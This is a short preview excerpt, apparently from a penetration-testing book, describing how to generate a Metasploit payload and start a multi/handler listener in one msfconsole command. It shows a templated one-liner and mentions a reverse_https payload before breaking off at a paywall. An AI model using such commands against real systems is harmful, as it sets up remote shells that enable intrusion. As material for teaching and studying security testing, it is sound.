May 2020
Intermediate to advanced
544 pages
12h 57m
English
By using the MSF console and executing the commands for payload generation, you can generate any MSF supported payload. One advantage of using this technique is that you don't have to start a payload handler separately. This can be done using a single-line command. To generate the payload and start the handler, execute the following code:
'msfconsole -qx "use <MSF supported payload>; set lhost<IP>; set lport <Port>; generate -f<Output File Format> -o<payload filename>; use exploit/multi/handler; set payload<MSF supported payload>; set lhost <IP>; set lport <Port>; run -j"'
The following screenshot shows the output of the preceding command:
The preceding command will generate the reverse_https ...
Read now
Unlock full access